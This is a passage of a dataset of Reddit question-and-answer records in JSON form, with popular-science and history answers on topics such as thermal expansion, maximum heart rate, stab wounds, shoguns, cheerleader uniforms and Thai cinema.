heat it, it'll expand outwards, right? So if you heat both the washer and the cut-out bit, the circular part will still fit in the hole. So the hole must be bigger.\n\nThe reason why every auto mechanic knows this, is because they heat rusted nuts all the time to get them off. (and they heat the nut, not the bolt)\n", "It's counter-intuitive, but the hole gets bigger.  All of the metal expands with temperature, but since there is more metal on the outside of the circle and less on the inner edge, the outer edge expands out more than the inner edge expands in.  As a result the inner circle actually gets dragged outward, making it larger.  ", "The key is that the particles that make up each concentric ring (including the very inner ring) should stay connected in the same way throughout the expansion. Well then that ring may as well be a linear rod of length 2*pi*r. Say you heat the washer up enough that it expands by a factor of F (isotropically, since it's a metal and not some weird crystal). Then the inner ring (initial radius r^inner) expands to a final circumference of F*2*pi*r^inner , likewise the outer ring expands to F*2*pi*r^outer , giving final inner and outer radii of F*r^inner and F*r^outer , respectively. So the inner radius is bigger, giving a bigger hole. \n\n\"But what about the radial expansion?\" you may ask. Well the initial radial \"thickness\" is r^outer - r^inner , so after the expansion, it should be F*(r^outer - r^inner ), right? Well, if you look at the paragraph above, you will see that the final radii given were F*r^inner and F*r^outer , which gives exactly the same radial thickness."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "7fsdk3", "title": "Where can I find a comprehensive list of all asteroids ever identified and catalogued?", "selftext": "I found a few sources but they are all only NEO specific or special catalogs like light inversion studies. \n\n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7fsdk3/where_can_i_find_a_comprehensive_list_of_all/", "answers": {"a_id": ["dqeb9pg", "dqecm5i"], "score": [2, 3], "text": ["Do you know the [JPL Small-Body Database Browser](_URL_0_)?", "[Here's the list of all numbered minor planets](_URL_1_) from the IAU's Minor Planet Center. That includes both asteroids as well as Kuiper Belt Objects (pay special attention to #134340.)\n\nFor named bodies, [here's an alphabetical list](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://ssd.jpl.nasa.gov/sbdb.cgi"], ["https://www.minorplanetcenter.net/iau/lists/MPNames.html", "https://www.minorplanetcenter.net/iau/lists/NumberedMPs.html"]]}
{"q_id": "2tnp0q", "title": "Why is the 'max heart rate' 220 minus your age?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2tnp0q/why_is_the_max_heart_rate_220_minus_your_age/", "answers": {"a_id": ["co0nyk5", "co0o2o8", "co0qcif", "co0svo9", "co0t8ul", "co0tfuj", "co0vslf"], "score": [368, 38, 4, 4, 10, 6, 2], "text": ["*220 - age* is an estimation for the maximum rate at which your heart can beat in a minute, safely. Training over that range is considered dangerous.\n\nHowever, that number is rarely accurate because your maxHR is dependent on age and fitness level. \n\nI regularly train over my *220 - age* range when I am performing high intensity interval training (HIIT) and I only fall into the upper 30% of most endurance events I enter.\n\nHere is the link to a study from 2001 that found it was almost always wrong, and that *220 - (0.7 * age)* was much more accurate.\n\n_URL_0_\n\n > **CONCLUSIONS:**  \n1) A regression equation to predict HRmax is 208 - 0.7 x age in healthy adults.   \n2) HRmax is predicted, to a large extent, by age alone and is independent of gender and habitual physical activity status. Our findings suggest that the currently used equation underestimates HRmax in older adults. This would have the effect of underestimating the true level of physical stress imposed during exercise testing and the appropriate intensity of prescribed exercise programs", "This is just a rule of thumb. On [wikipedia](_URL_0_), there is a very good list of references to various studies in which they are all fitting some arbitrary curve to their data (some function HR_max(age)). The simplest functions are of the form a-b*age, where in your case, it's just a = 200, b=1. All of these functions are supposed to give you a rough rule of thumb to calculate your maximum heart rate but heart rate varies greatly between people. In the various sections, you can see that the formulae provided have some range associated with them, and I guess you could think the reason for this is because everyone has wildly different resting heart rates. Endurance athletes are known to have much lower resting heart rates, for example.\n\nThe reason to calculate this, at least in sports, is because often you want to do a workout at some intensity of your maximum heart rate, e.g. 80% of maximum. So, if you are 20 years old, you would calculate 0.80*HR_max = 0.80 x (220 - 20) = 0.80 x 200 = 160, and that would be your goal. Again, that's a rough estimate since everyone is different. 160 is much easier for an endurance athlete than for someone who has never exercised.", "This is a great example of BS that is copied and copied, until it has become truth. Gina Kolata - an excellent journalist and author - researches this in her book [Ultimate Fitness](_URL_0_) and traces it back to an analysis of 6 Finish Elite super soldiers. Does that have anything to do with you or me? Probably not, because *The sample size is too small and *You are not a male super soldier in extreme shape", "I'm an internal medicine resident. I usually use the equation to differentiate between sinus rhythm and abnormal rhythm. For example, if i have a 60 year old patient whose heart rate is 170, and the EKG looks sinus, I may do something like give adenosine to slow the rate down down to see if there is a \"hidden\" abnormal rhythm (because its above 220-age). Its not perfect, but it helps.", "If you're asking why maxHR decreases with age, it's because:\n\n1. The natural, resting rhythm of the heart (intrinsic pace) slows due to deficiencies in the heart's conduction system, and\n\n1. You become less responsive to catecholamines. (hormones/neurontransmitters that signal your heart to beat faster.\n\nSource: _URL_0_", "220-Age is a gross estimation of Heart Rate max (HRmax). It is used in a sense that BMI is used to quickly evaluates body composition. I think there is a disconnection between HRmax and Exercise Intentisty that needs to be made. HRmax % is only a part of the equation of VO2 (volume of oxygen consumption in the human body).  HRmax is used in exercise prescription because, without laboratory equipment you can't measure the other parts of VO2. Is HRmax the true absolute beats per minute a heart can achieve? Most likely no, but prolonged activity at the rate will lead to MVO2 (heart oxygen consumption) not being able to keep up with demand (ischemia).  \n\n The second part and edit of your question has to deal with what your targeting to exercise. Exercise intensity can come from volume, time, mode, and strain of activity (aka intensity). I would argue if you can go for 30mins at 90% of HRmax that is not your true maximum. Your ie. training question deals with which energy system you want to target. \n\nA more accurate measure in calculating your HRmax/VO2max would be a [Bruce Protocol](_URL_1_)  along with a measure of HR and blood pressure at each stage. \n\n*Paraphrased Sources:*\n\n[Therapeutic Exercise: Moving Towards Function](_URL_0_)\n\n[Exercise Physiology: Nutrition, Energy, and Human Performance](_URL_4_) \n\n[Cardiovascular and Pulmonary Physical Therapy: Evidence to Practice](_URL_2_)   \n\n[Essentials of Strength Training and Conditioning - 3rd Edition](_URL_3_)", "Kind of an aside to your actual question, but the goal of training cardio is EFFICIENCY of the heart, not increasing its maximal rate. As your cardiovascular fitness improves, your heart is able to *do more with less*. Signs of improving cardio fitness include lower resting heart rate, and a decrease in heart rate at given exercise intensities (for example, the speed on a treadmill).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/11153730"], ["http://en.wikipedia.org/wiki/Heart_rate#Maximum_heart_rate"], ["http://www.amazon.com/Ultimate-Fitness-Quest-Health-Exercise-ebook/dp/B000OI0DUU/ref=asap_bc?ie=UTF8"], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2494835/"], ["http://www.amazon.com/gp/product/0781799570/ref=oh_aui_detailpage_o00_s00?ie=UTF8&amp;psc=1", "http://en.wikipedia.org/wiki/Bruce_protocol#Bruce_Protocol_.28Sub_Maximal_Table.29", "http://www.amazon.com/Cardiovascular-Pulmonary-Physical-Therapy-Evidence/dp/0323059139/ref=pd_sim_b_93?ie=UTF8&amp;refRID=0EXA72S6V65J7M7KGKJ0", "http://www.amazon.com/Essentials-Strength-Training-Conditioning-Edition/dp/0736058036", "http://www.amazon.com/Exercise-Physiology-Nutrition-Performance-Lippincott/dp/0781797810/ref=sr_1_4?s=books&amp;ie=UTF8&amp;qid=1422236902&amp;sr=1-4&amp;keywords=exercise+physiology"], []]}
{"q_id": "15rnzh", "title": "why is it bad to take a knife out after someone gets stabbed", "selftext": "After watching a bunch of movies and asking myself this question, it seems that there are a couple different theories, but I am curious what the surefire reason is.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15rnzh/eli5_why_is_it_bad_to_take_a_knife_out_after/", "answers": {"a_id": ["c7p68u2", "c7p68zr", "c7p6xj1", "c7p75cw", "c7p78ln", "c7p7cq6", "c7p7fjz", "c7p7hbr", "c7p7hbu", "c7p7o6v", "c7p7q3e", "c7p84kc", "c7p9wqx", "c7pahlk", "c7pd1xs", "c7pd9to", "c7pf6yg", "c7phc07"], "score": [671, 9, 179, 131, 2, 16, 2, 21, 6, 5, 14, 4, 2, 3, 2, 2, 7, 2], "text": ["The knife is likely blocking blood vessels that were just severed. So, taking the knife out would allow them to bleed out.", "Knife is plugging the hole. Pull the knife put and blood flows out easily. Like draining a bath.", "The knife acts like a plug, helping to seal any blood vessels etc that have been severed by it. By pulling it out not only do you unplug these vessels and worsen the bleeding, if the person has to go to the ER for surgery they are not able to tell the true internal damage (i.e. depth, angle) as they can only see the visible entry wound.\n\nSource: Red Cross First Aider", "I originally thought this post meant if someone is going around stabbing people and you have a knife on you, you shouldn't bring your knife out in selfdefense. \n\nAfter reading the comments I have come to realize this isn't what was meant at all. Continue.", "There will be more bleeding due to the knife blocking your broken blood vessels and minimizing bleeding while it's in there. While it obviously needs to come out, that's something trained personnel should be doing in a controlled condition, so they can minimize damage, bleeding, give transfusions etc.", "Related question: What do you do if you really need the knife for, you know, more stabbing?", "Here is a different take although I agree with what others have written. \n\nSome knives are serrated or have hooks on them. The hooks are angled so that they go into the flesh easily but the hooks get caught on internal bits when you pull the knife out. Thus, the knife could do more damage coming out than going in. ", "Remember to stab it back if you accidentally pull it out.\n\n/Kungfu Hustle reference.", "In the body, there are tubes carrying blood or other fluids (arteries and veins carrying blood, intestines, stomach, bladder) that you do not want to leak. If the knife hits one if these tubes and stays there, it can act as a little Dutch boy and stop any leakage. Removal will start prompt leakage. ", "Being an avid watcher of that gritty medical documentary, \"Gray's Anatomy\", I know from paying close attention to the technical dialogue (I'm halfway to a medical degree myself just from watching) that  prevention of blood flow from a wound by whatever foreign object caused the wound is called tamponade. (tampa-NOD) As in, \"Leave the telephone pole in his chest until we get him to the ER! It's tamponading the wound!\" \n\nAs an added source, for those of you who automatically doubt the veracity of medical information found in a television program exposing the sexual activity that goes on amongst medical professionals in hospitals, I checked good old Google and found a wikipedia entry on \"Tampanade\". Turns out, tampanading is also sometimes done on purpose to staunch bleeding. \n\nHere's a quick exerpt: \"[Tamponade](_URL_0_) is the closure or blockage (as of a wound or body cavity) *as if by a tampon* especially to stop bleeding.\" \n\n(italics mine because I'm still a sex-obsessed 6th grader at heart.)\n\nBut you get the idea. If you pull the kife out of somebody's stab wound, it's like ... yeah. You get the picture. ", "Imagine you take a pencil and stab a hole in the bottom of a foam cup.\n\nIt's gonna leak a little, but most of that hole is filled with pencil. Compare to if you removed the pencil.", "What do the doctors do to prevent bleeding once they do remove the knife? Do they give coagulation drugs?", "Because blood. Lots and lots of blood. We all need blood, so losing blood is bad.", "The knife is stopping the blood from coming out. Picture a bag of sand. If you were to poke a hole in it with something sharp, but leave it in there, the sand would stay in the bag. However, if you were to take the object out you'd have sand pouring out all over the floor. Also, depending on who did the stabbing, you may get stabbed again. Hope that helps!", "You cut while you go in.\n\nYou cut while you go out.", "Im guessing It depends on where the location of the knife/sharp object was  ; if it was a limb then you could take it out but if its in the chest or abdomen area then its safer to keep it in due to bleeding. ", "If you have something impaled regardless if it is a knife a 2x4 a pencil or what ever... it is currently creating a blockage so you most likely will not bleed to death. When you pull it out, you have removed that blockage. Thus you can loose a lot of blood. A lot of times they will do imaging before removing an item that is impaled into a person. That way if they need to turnoquit something they know before they go in. \n\nThink of a condiment bottle... stab it with a knife... while the knife is there little will come out. When you remove the knife it is a free flow from the opening.", "because then everyone will think that it was you who stabbed the person"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Tamponade"], [], [], [], [], [], [], [], []]}
{"q_id": "7xxnfa", "title": "Did Shoguns ever appear on the battlefield?", "selftext": "If they did were they the one who signaled their army to advance or was it mostly the Taisho who overlooked everything? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7xxnfa/did_shoguns_ever_appear_on_the_battlefield/", "answers": {"a_id": ["duco7wp"], "score": [20], "text": ["Yes, they did.\n\nArmies were signaled by flags, horns, and drums to advance. Aides relayed orders as well. It was the Taish\u014d, at least nominally, who commanded the movement. The Taish\u014d was not a formal rank (not for what we're talking about anyway, it's a formal rank in the Imperial Guard Office). It's just the word for overall commander. The *Sh\u014dgun*, or his official title *Sei-i Tai****sh\u014dgun***, would be the highest ranking military officer when he took the field. Therefore, whenever one took the field, he would be the Taish\u014d, at least nominally.\n\n*Sei-i Taish\u014dgun* means \"Commander-in-Chief of the Expeditionary Force Against the Barbarians\". As the title suggest, the post started out as the commander of the expeditionary forces against the Emishi people in the Heian period. These Sh\u014dguns definitely took to the field and commanded.\n\nBut that's probably not what you're asking. Did Sh\u014dguns during the age of warrior rule take to the field and command? Still yes. None of the Kamakura Sh\u014dguns did I don't believe (Yoritomo took the field in the Genpei War, but it was before he got the position). During the *Nanboku-ch\u014d*, the southern court's Sh\u014dguns took to the field quite regularly, as did Ashikaga Takauji. In the Mei\u014d Coup of 1493, the Sh\u014dgun Ashikaga Yoshiki (as he was then known) was the nominal commander of an expeditionary force to punish an insubordinate daimy\u014d when he was overthrown (I did say nominal). He tried to fight back with what loyal troops he had on hand, but failed. If you want to count it, Ashikaga Yoshiaki also nominally commanded the defense of Nij\u014d Castle when Nobunaga besieged him in 1573. Both Sh\u014dgun Tokugawa Hidetada and retired-Sh\u014dgun Tokugawa Ieyasu took the field and commanded at \u014csaka in 1614-15."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cg4wa3", "title": "how can people who are completely paralysed still blink?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cg4wa3/eli5_how_can_people_who_are_completely_paralysed/", "answers": {"a_id": ["euemnxm", "euemow2", "euew9cl", "euewt0t"], "score": [5, 2, 6, 3], "text": ["It depends on where they\u2019re paralyzed from. The most common paralysis is due to a spinal injury, which disrupts the spinal cord cutting off all signals from the brain to the body. \n\nThe nerve connections that control blinking run throws a different set of nerds called the trigeminal nerve and the facial nerve. Both of these nerves go straight to the brain, so if paralysis is caused by the spinal cord, then the nerves that control blinking are not affected.", "So, you cant be completely paralized. What your most familiar with is paralized below the neck, meaning no movement of the arms, legs, or torso.  But that's the furthest down the spine paralysis can go. See, if someone is paralysed too high in their spine, they wont be able to breath, since their diaphragm* will receive no signals from the brain. Since the diaphragm* is below your face, and paralysis cant affect higher than that, it cant affect someones ability to blink.", "Blinking is done by a specific cranial nerve, which are nerves that exit the brain stem. If you damage your brainstem, you will lose your ability to blink. However, damage to this area is likely gonna put you into a coma because your brain stem has other vital components that are essential to life.", "As others have said, if the paralysis is linked to the spine, then it doesn\u2019t affect blinking so so you can still blink and move other facial muscles.\n\nHowever, there\u2019s another type of paralysis that happens due to brain damage. That can cause whole body paralysis, including the eyes so you can\u2019t blink. Sometimes this is called \u201clocked in syndrome\u201d. Because you have no movement you can  control, such people have often been thought to be in a coma\u2014that is, unconscious. More recently, we\u2019ve been able to do tests that indicate that some of these people are alive and conscious, but unable to communicate. They\u2019ve been treated for years like they\u2019re unconscious, and they\u2019ve watched the world go on around them, unable to  communicate. People have talked about them in front of them as if they were  unconscious. It\u2019s a nightmare!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8zvi9s", "title": "how those transparency changing windows work.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8zvi9s/eli5_how_those_transparency_changing_windows_work/", "answers": {"a_id": ["e2lp55l"], "score": [6], "text": ["Liquid crystal displays\u2014 passing electricity can orient crystals in ways that let them pass light. When electricity isn\u2019t applied, the crystals \u201crelax\u201d to a random state, blurring light as it passes. Other designs would have them totally shut out light.\n\nIt\u2019s VERY similar to how phone or computer screens work. Except for one particular type of screen (OLED), light isn\u2019t produced as needed, where needed, in the colors needed. Instead light shines from the back of the screen, and LCD technology is used to block some colors and allow others through to create the right color/brightness when where it\u2019s needed. \n\nThe windows are (hopefully) cheaper than computer screens because they uniformly apply power to change the color/transparency of the whole window, rather than needing to control each pixel individually. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wqsr4", "title": "hot chocolate and chocolate milk", "selftext": "As far as I've known Chocolate milk is just milk plus some sort of chocolate like Hersheys syrup or Nesquick. Apparently, I'm wrong and Nesquick + milk + heat =/= hot chocolate. This argument seems to be a touchy subject with my friends, and I don't know who to turn to.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3wqsr4/eli5_hot_chocolate_and_chocolate_milk/", "answers": {"a_id": ["cxycv3s", "cxydjsa", "cxyec3w", "cxyfhdf", "cxykjhq", "cxyohm3"], "score": [5, 4, 5, 4, 2, 2], "text": ["According to Wikipedia: Hot chocolate, also known as hot cocoa, is a heated beverage consisting of shaved chocolate, melted chocolate or cocoa powder, heated milk or water, and often sugar.  \n\nYou can look up any number of other definitions and find much the same description (except on Urban Dictionary, where the definitions are a bit more...interesting).  \n\nIn addition, there are a number of different recipes in various locations on the Internet, some of which involve milk, some of which involve water, some of which involve chocolate powder, some of which involve chocolate syrup, some of which involve actual pieces of chocolate.  The recipes vary based on time, resources, amount of money you're willing to spend, and how much of a hipster prick you want to be.  \n\nSo, I'm pretty sure your friends are just assholes.  You drink whatever the fuck hot chocolate recipe you want man.  Don't the haters stop you from doin' yo thang.", "Hot chocolate is hot and chocolate milk is cold.\n\nAny commercial hot chocolate or chocolate milk I've ever seen IS NOT some base like milk plus some chocolate. There are many other ingredients used to create a texture and a taste that the manufacturer hopes will sell better than the other brands.\n\nAs for Nesquick, that's a relatively new brand that started soon after Nestle's Quik introduced a lower sugar version. \n\nDidn't even notice that there was a Nestle's Quik, did you? ", "What I find works best for 'not store bought syrup' is take ~1-2 tablespoons of whatever cocoa powder you use // chocolate shavings, add ~1 tablespoon of a simple syrup (1part sugar to 1part water by volume).  Mix the dry chocolate substance with the simple syrup until it is homogeneous.  **NOW** add your hot milk and mix.  Very nice consistency.\n\nIf you're Canadian, maple syrup works awesome in place of simple syrup.", "**Hot Cocoa and Hot Chocolate** are the same thing. It may or may not contain milk. It can be prepared in a number of different ways:\n\n* Warm milk with added chocolate syrup\n\n* Warm milk with added cocoa/hot chocolate powder mix\n\n* Warm water with added cocoa/hot chocolate powder mix\n\n* Melted chocolate with a little added milk and water - this is a thicker european style hot chocolate\n\n**Chocolate Milk** refers to the cold beverage, like a cold glass of milk with added cold chocolate Nesquik syrup. Or the already pre-mixed chocolate milk you can buy at the grocery store. This drink always contains milk.\n\n**Chocolate Drink** would just be cold water and syrup (and sounds kinda gross IMO).\n\n**Chocolate** is just solid chocolate candy bar.\n", "I think there is a lot of confusion going on as to what hot chocolate is. A glass of chocolate milk, if heated enough can be considered a variation of hot chocolate.\n\nThe drink is exactly what it says \"Hot\" \"Chocolate\" in any form with or without milk, with or without water. If you were to melt a chocolate bar and drink it from the pot, that would be hot chocolate.", "It seems that everyone replying is American so here's what we have in the UK. \n\nMilkshake mix. Can be a powder or liquid but you add it to milk, it works at low temperatures and is sweet. \n\nHot chocolate mix. A powder you add to hot milk or water that isn't nearly as sweet and doesn't work at low temperatures. \n\nCocoa powder. Basic cocoa powder you can use to make milkshake or hot chocolate but generally isn't very good, it's mainly used in baking. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "b2wb4e", "title": "How Did the Cheerleader Outfit Come To Be?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b2wb4e/how_did_the_cheerleader_outfit_come_to_be/", "answers": {"a_id": ["eiwpyka"], "score": [436], "text": ["In the 1860s, sports fans in Great Britain created the concept of cheering in unison. This practice almost immediately made its was to the United States during the early days of intercollegiate sports. Many American students and fans were using various chants, cheers and songs at sporting events by the late 1860s. One of the \u201crah rah boom boom bah\u201d type chants was used in game between Rutgers and Princeton in 1869 what was the first intercollegiate American football game. Many of these cheers became tradition and were seen as an important part of the games. Toward the end of the 1800s, many schools had informal clubs where some students would get together to practice cheers and then preform these cheers from the sidelines during games.\n\nIn 1898, The University of Minnesota was playing a football game against Northwestern. Minnesota was losing when a frustrated student by the name of Johnny Campbell decided to lead the entire crowd to preform cheers. Minnesota came back to win the game and many credit Campbell as the inspiration. He\u2019s considered the first Cheerleader.\n\nMinnesota and other schools realized that it would be a good idea to have organized \u201cyell leaders\u201d in order to lead the crowd in cheers or to be a \u201cCheerleader\u201d. In 1903, the first official cheer fraternity was formed in Minnesota and many other schools would follow their example.\n\nPrior to 1923, cheerleading was an all male activity and the idea of a standard uniform did not immediately catch on. Men would usually wear normal clothes or whatever was comfortable as can be seen in this [photo of the 1910 Missouri Yell Squad](_URL_22_)\n\nSome teams started to wear matching outfits with trousers and usually a sweater with a school logo on it. That would become the standard for quite some time. Here\u2019s an example of the [1916 Yale Squad.](_URL_28_) The Picture is from 1916, but the article is from 1909.\n\nMinnesota became the first squad with female participants in 1923. Cheerleading wasn\u2019t yet the athletic event that it is today and modesty was the social norm so the female uniform was a long and somewhat bulky skirt that [looked something like this](_URL_10_)\n\nFemale cheerleading wasn\u2019t without controversy since cheerleading was seen as a masculine activity with a deep and loud voice considered very important. Many schools were slow to permit female participants. However, WW2 called so many men into action that most schools were forced to include female cheerleaders.\n\nUniforms stayed mostly the same into the late 1950s or 1960s in some cases as can be seen in\n\n[1937](_URL_14_)\n\n[1941](_URL_0_)\n\n[1949](_URL_12_)\n\nThe first cheerleader supply company and the first cheerleading camp were opened around this time.\n\n[1954](_URL_16_)\n\n[Late 1950s](_URL_2_)\n\n\nThis is around the time that cheerleading was more rapidly evolving into an athletic and acrobatic activity. Fashion trends were changing. The skirt was essentially cut in half and the sweater wasn\u2019t as bulky. Here\u2019s a squad from [1960](_URL_33_) and\n[1961](_URL_11_)\n\n[1967](_URL_26_)\n\nThrough the rest of 1960s and 1970s, the uniform didn\u2019t change drastically, but the skirt continued to get a little shorter, the sweater got tighter/less bulky, sleeves started to disappear and athletic shoes became the norm.\n\n[1970](_URL_17_)\n\n[1970s](_URL_15_)\n\nIn the 1980s, sweaters were mostly gone with the top being more like a vest or a tank top. Sometimes a [turtleneck](_URL_30_) was worn underneath. [Sometimes not](_URL_25_)\n\n[1980](_URL_19_)\n\n[1985](_URL_29_)\n\nThis might be overly simplified, but uniforms have remained largely the same since this era. The biggest difference is that the uniform tends to get a little smaller over time.\n\n[early 1990s](_URL_23_)\n\n[1995](_URL_4_)\n\n[1999](_URL_21_)\n\n[2005](_URL_18_)\n\n[2010](_URL_20_)\n\n[2014](_URL_6_)\n\n\nMen\u2019s [uniforms](_URL_13_) have not evolved nearly as much. The most significant change being the materials used for the uniform.\n\n\nThere are rules in college that limit some things such as excessively short skirts, extremely low cut necklines, low cut waistbands, etc. \n\nSome schools such as [Florida State](_URL_8_) and [Oregon](_URL_31_) have been known to get creative with their uniforms.\n\n[High School uniform](_URL_7_) regulations are very similar to college, but require a bit more modesty.\n\nProfessional sports such as the NBA, NFL, NHL and MLS also use cheerleaders, but their uniform regulations are quite different. Some examples are\n\n[NBA](_URL_1_)\n\n[MLS](_URL_9_)\n\n[NHL](_URL_27_)\n\n[NFL](_URL_5_) [More NFL](_URL_24_)\n\nThey can be quite [festive](_URL_3_) as well.\n\nFun fact: [Robin Williams](_URL_32_) was the first male cheerleader for the Denver Broncos while filming an episode of \u201cMork and Mindy\u201d."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.imgur.com/y8QH8X2.jpg", "https://i.imgur.com/zFDygTq.jpg", "https://i.imgur.com/vALFuq6.jpg", "https://i.imgur.com/wahqHTk.jpg", "https://i.imgur.com/yikMhWN.jpg", "https://i.imgur.com/IvNNkMP.jpg", "https://i.imgur.com/E82rwgX.jpg", "https://i.imgur.com/pAj3W9k.jpg", "https://i.imgur.com/NwOBwrh.jpg", "https://i.imgur.com/HDlOZpC.jpg", "https://i.imgur.com/PgrtSqF.jpg", "https://i.imgur.com/3kuok1L.jpg", "https://i.imgur.com/TTmbGwd.jpg", "https://i.imgur.com/Dg0hiVJ.jpg", "https://i.imgur.com/2DFvDpd.jpg", "https://i.imgur.com/vIEhQ9R.jpg", "https://i.imgur.com/6T1TIeu.jpg", "https://i.imgur.com/HmTMQiX.jpg", "https://i.imgur.com/DtLU0xL.jpg", "https://i.imgur.com/8dAL8Xw.jpg", "https://i.imgur.com/UyCv3bT.jpg", "https://i.imgur.com/qDDQb0y.jpg", "https://i.imgur.com/OT9QsuO.jpg", "https://i.imgur.com/jBeymOX.jpg", "https://i.imgur.com/cIgICCg.jpg", "https://i.imgur.com/GFiA3Tf.jpg", "https://i.imgur.com/BSNAXSE.jpg", "https://i.imgur.com/boLd9xd.jpg", "https://i.imgur.com/0hTx8aX.gifv", "https://i.imgur.com/oA20pP9.jpg", "https://i.imgur.com/KHlV2YE.jpg", "https://i.imgur.com/qOjRA2Y.jpg", "https://i.imgur.com/aCNvI7i.jpg", "https://i.imgur.com/lDWeWQp.jpg"]]}
{"q_id": "1q53ew", "title": "Do some points in our universe have more \"observable universe\" than others? Where is peak/minimum \"observable universe\"? Does this have implications for the science that can be done there? Would a species at our current technological level be able to learn more if it were positioned more favorably?", "selftext": "Thanks for your time and for your expertise.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1q53ew/do_some_points_in_our_universe_have_more/", "answers": {"a_id": ["cd9eb8q", "cd9ktqd", "cd9qe2h"], "score": [9, 4, 2], "text": ["Good question.\n\nAnother way to phrase the question would be to ask about the composition of the universe, I.e. is it homogeneous or heterogeneous. If the universe is homogeneous then it wouldn't matter where you are, you would see the same amount and type of stuff. The uniform temperature of the microwave background radiation implies our universe is homogenous, thus no point is more favorable for observation than another\n\nYou can read more here _URL_0_", "no. Great Voids and strings of superstates are extremely evenly distributed. \n\nWe measured the movement of galaxies and they move away from great voids and towards \"great attractors\", forming highways of galaxies.\n\nThe Milky Way Galaxy is a relatively small galaxy so we can more easily look out of it. Differences are stronger on smaller scales and barely existent on larger scales.\n\n_URL_0_", "I still have trouble visualizing a \"homogenous\" universe that is continually expanding, with no observable center point (I've heard the balloon scenario, baked bread with raisins, etc). If all things are expanding away from everything else, then isn't there a definite \"vector\" or direction these galaxies (etc) are moving towards and/or away from?\n\nI understand that space *itself* is expanding, but a direction of expansion implies moving from one place to another, and not vice-versa. After all, the universe is not *contracting*, so obviously all the vectors point outward, right?\n\nAlso, if the universe expanded into space *faster* than the speed of light, how could we ever observer the light from which it's expanding?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Horizon_problem"], ["http://www.youtube.com/watch?v=WCHi4hioFEI&amp;feature=youtu.be"], []]}
{"q_id": "7ol7t5", "title": "Transvestism and especially \"Ladyboys\" are strongly associated with South-East and East Asian culture and cities like Bangkok and Tokyo. When did this trope start and how old is it?", "selftext": "I know it's a stereotype but when and how did it start? Is it primarily a Western viewpoint? What is the relationship between these cultures and gender bending practices like crossdressing in the early and premodern period?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7ol7t5/transvestism_and_especially_ladyboys_are_strongly/", "answers": {"a_id": ["dsaq4i8", "dsarm15", "dsav5s3"], "score": [35, 1020, 947], "text": ["Hello everyone, \n\nIf you are a first time visitor, welcome! This thread is trending high right now and getting a lot of attention, but it is important to remember those upvotes represent interest in the question itself, and [it can often take time for a good answer to be written](_URL_6_). The mission of /r/AskHistorians is to provide users with in-depth and comprehensive responses, and our [rules](_URL_7_) are intended to facilitate that purpose. We remove comments which don't follow them for reasons including unfounded speculation, shallowness, and of course, inaccuracy. Making comments asking about the removed comments simply compounds this issue. So please, before you try your hand at posting, check out the [rules](_URL_7_), as we don't want to have to warn you further.\n\nOf course, we know that it can be frustrating to come in here from your frontpage or /r/all and see only [removed], but we ask for your patience and understanding. Great content is produced on this subreddit every day though, and we hope that while you wait, you will check out places they are featured, including [Twitter](_URL_9_), the [Sunday Digest](_URL_4_), the [Monthly \"Best Of\"](_URL_2_) feature, and now, [Facebook](_URL_5_). It is [very rare that a decent answer doesn't result in due time](_URL_6_), so please do come check back on this thread in a few hours. If you think you might forget, send a [Private Message](_URL_0_!) to the [Remind-Me bot](_URL_1_), and it will ensure you don't!\n\nFinally, while we always appreciate feedback, it is unfair to the OP to further derail this thread with META conversation, so if anyone has further questions or concerns, we ask that they be directed to [modmail](_URL_3_), or a [META thread](_URL_8_). Thank you!", "Since I'm on break I'll give a go at answering when and how this stereotype started, specifically how Thai cinema has contributed to acceptance of trans individuals in Thailand. However, I'd like to note that I'm not Thai, and I'm sure others have a better understanding of this topic than I do. \n\n In Thailand, the most commonly used word to refer for a male-to-female trans person is a kathoey. For the purposes of this post, I'll refer to Thai MTF trans individuals as kathoeys, though in reality this is a broader term that can also refer to effeminate gay men, and also despite the fact that most Thai transwomen refer to themselves simply as \"phuying\" (women). \n\nAs in the US (and much of the world) transgenderism has not always been an altogether mainstream topic in Thailand. Still the country is 95% Buddhist, a religion which has no specific laws surrounding transgenderism, and as a result, sex reassignment surgeries had begun being performed in Thailand starting in 1975. However, in the first half of the 20th century, there was still a degree of stigma surrounding kathoeys for a variety of reasons. The first movies surrounding kathoeys were released in the 1980's, and reflected this in their depiction of kathoeys as depressed, tragic characters. Perhaps the first mainstream movie that portrayed kathoeys was *The Last Song,* a 1985 movie about a kathoey cabaret performer who falls in love with a man who eventually leaves her for a biological woman, leading to her suicide. Though in *The Last Song* the kathoey identity is portrayed negatively, the movie began a trend of mainstream sympathy for kathoeys. More 1980's movies centered around kathoeys followed *The Last Song*, generally presenting kathoeys as tragic characters suffering from bad karma. \n\nIn 1996, a northern Thai volleyball team made up of mainly kathoeys won the Thai national volleyball tournament. 